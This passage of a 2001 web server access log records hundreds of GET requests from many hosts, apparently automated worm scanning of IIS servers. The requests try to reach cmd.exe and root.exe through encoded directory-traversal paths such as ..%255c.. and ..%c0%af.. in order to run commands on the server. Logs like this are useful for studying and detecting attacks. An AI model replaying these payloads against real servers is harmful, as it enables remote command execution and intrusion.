  3452. 20010918 13:21:00:  [206.107.235.113] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3453. 20010918 13:21:19:  [206.107.235.113] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3454. 20010918 13:21:38:  [206.107.235.113] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3455. 20010918 13:21:56:  [206.107.235.113] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3456. 20010918 13:22:16:  [206.107.235.113] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3457. 20010918 13:22:38:  [206.107.235.113] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3458. 20010918 13:22:56:  [206.107.235.113] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3459. 20010918 13:23:18:  [206.107.235.113] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3460. 20010918 13:23:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3461. 20010918 13:23:40: CECINST.BU.EDU [128.197.233.7] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3462. 20010918 13:23:40:  [206.107.235.113] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3463. 20010918 13:23:59: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3464. 20010918 13:23:59: CECINST.BU.EDU [128.197.233.7] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3465. 20010918 13:23:59:  [206.107.235.113] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3466. 20010918 13:24:17: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3467. 20010918 13:24:18: CECINST.BU.EDU [128.197.233.7] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3468. 20010918 13:24:18:  [206.107.235.113] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3469. 20010918 13:24:36: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3470. 20010918 13:24:36: CECINST.BU.EDU [128.197.233.7] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3471. 20010918 13:24:37:  [206.107.235.113] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3472. 20010918 13:24:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3473. 20010918 13:24:55: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3474. 20010918 13:24:55: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3475. 20010918 13:24:56:  [206.107.235.113] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3476. 20010918 13:25:14: CECINST.BU.EDU [128.197.233.7] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3477. 20010918 13:25:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3478. 20010918 13:25:14:  [206.107.235.113] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3479. 20010918 13:25:33: CECINST.BU.EDU [128.197.233.7] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3480. 20010918 13:25:33: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3481. 20010918 13:25:33:  [206.107.235.113] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3482. 20010918 13:25:52: CECINST.BU.EDU [128.197.233.7] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3483. 20010918 13:25:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3484. 20010918 13:25:52:  [128.208.81.178] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3485. 20010918 13:26:10: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3486. 20010918 13:26:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3487. 20010918 13:26:11: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3488. 20010918 13:26:11:  [128.208.81.178] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3489. 20010918 13:26:29: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3490. 20010918 13:26:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3491. 20010918 13:26:30: www.kiprc.uky.edu [128.163.39.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3492. 20010918 13:26:30:  [128.208.81.178] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3493. 20010918 13:26:48: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3494. 20010918 13:26:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3495. 20010918 13:26:48: www.kiprc.uky.edu [128.163.39.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3496. 20010918 13:26:49:  [128.208.81.178] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3497. 20010918 13:27:07: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3498. 20010918 13:27:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3499. 20010918 13:27:07: www.kiprc.uky.edu [128.163.39.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3500. 20010918 13:27:07:  [128.208.81.178] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3501. 20010918 13:27:26: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3502. 20010918 13:27:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3503. 20010918 13:27:26: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3504. 20010918 13:27:26:  [128.208.81.178] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3505. 20010918 13:27:44: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3506. 20010918 13:27:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3507. 20010918 13:27:45: www.kiprc.uky.edu [128.163.39.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3508. 20010918 13:27:45:  [128.208.81.178] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3509. 20010918 13:28:03: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3510. 20010918 13:28:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3511. 20010918 13:28:03: www.kiprc.uky.edu [128.163.39.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3512. 20010918 13:28:03:  [128.208.81.178] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3513. 20010918 13:28:22: CECINST.BU.EDU [128.197.233.7] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3514. 20010918 13:28:22: www.kiprc.uky.edu [128.163.39.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3515. 20010918 13:28:22:  [128.208.81.178] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3516. 20010918 13:28:40: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3517. 20010918 13:28:40: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3518. 20010918 13:28:40:  [128.208.81.178] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3519. 20010918 13:29:00: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3520. 20010918 13:29:00: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3521. 20010918 13:29:00:  [128.208.81.178] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3522. 20010918 13:29:18: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3523. 20010918 13:29:18: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3524. 20010918 13:29:18:  [128.208.81.178] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3525. 20010918 13:29:37: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3526. 20010918 13:29:37: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3527. 20010918 13:29:37:  [128.208.81.178] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3528. 20010918 13:29:55: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3529. 20010918 13:29:55: www.kiprc.uky.edu [128.163.39.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3530. 20010918 13:29:55:  [128.208.81.178] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3531. 20010918 13:30:15: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3532. 20010918 13:30:15: hprg18.soceco.uci.edu [128.200.109.141] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3533. 20010918 13:30:15:  [128.208.81.178] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3534. 20010918 13:30:33: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3535. 20010918 13:30:33: hprg18.soceco.uci.edu [128.200.109.141] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3536. 20010918 13:30:33: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3537. 20010918 13:30:33:  [128.208.81.178] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3538. 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3539. 20010918 13:30:52: hprg18.soceco.uci.edu [128.200.109.141] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3540. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3541. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3542. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3543. 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3544. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3545. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3546. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3547. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3548. 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3549. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3550. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3551. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3552. 20010918 13:30:52: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3553. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3554. 20010918 13:30:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3555. 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3556. 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3557. 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3558. 20010918 13:30:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3559. 20010918 13:30:53: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3560. 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3561. 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3562. 20010918 13:30:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3563. 20010918 13:30:56:  [128.164.29.53] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3564. 20010918 13:34:24:  [128.164.29.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3565. 20010918 13:34:42:  [128.164.29.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3566. 20010918 13:35:00:  [128.164.29.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3567. 20010918 13:35:18:  [128.164.29.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3568. 20010918 13:35:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3569. 20010918 13:35:37:  [128.164.29.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3570. 20010918 13:35:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3571. 20010918 13:35:55:  [128.164.29.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3572. 20010918 13:36:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3573. 20010918 13:36:13:  [128.164.29.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3574. 20010918 13:36:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3575. 20010918 13:36:31:  [128.171.141.249] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3576. 20010918 13:36:53:  [128.164.29.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3577. 20010918 13:37:11: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3578. 20010918 13:37:11:  [128.171.141.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3579. 20010918 13:37:29:  [128.164.29.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3580. 20010918 13:37:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3581. 20010918 13:37:48:  [128.164.29.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3582. 20010918 13:38:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3583. 20010918 13:38:06:  [128.164.29.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3584. 20010918 13:38:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3585. 20010918 13:38:24:  [128.164.29.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3586. 20010918 13:38:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3587. 20010918 13:38:44:  [128.164.29.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3588. 20010918 13:39:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3589. 20010918 13:39:02:  [128.164.29.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3590. 20010918 13:39:20: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3591. 20010918 13:39:20:  [128.164.29.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3592. 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3593. 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3594. 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3595. 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3596. 20010918 13:39:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3597. 20010918 13:39:39: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3598. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3599. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3600. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3601. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3602. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3603. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3604. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3605. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3606. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3607. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3608. 20010918 13:39:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3609. 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3610. 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3611. 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3612. 20010918 13:39:50: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3613. 20010918 13:39:50: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3614. 20010918 13:40:04: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3615. 20010918 13:40:04: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3616. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3617. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3618. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3619. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3620. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3621. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3622. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3623. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3624. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3625. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3626. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3627. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3628. 20010918 13:40:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3629. 20010918 13:40:06:  [128.171.166.37] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3630. 20010918 13:40:47:  [128.171.166.37] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3631. 20010918 13:41:05:  [128.171.166.37] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3632. 20010918 13:41:24:  [128.171.166.37] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3633. 20010918 13:41:42:  [128.171.166.37] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3634. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3635. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3636. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3637. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3638. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3639. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3640. 20010918 13:42:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3641. 20010918 13:42:01:  [128.171.166.37] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
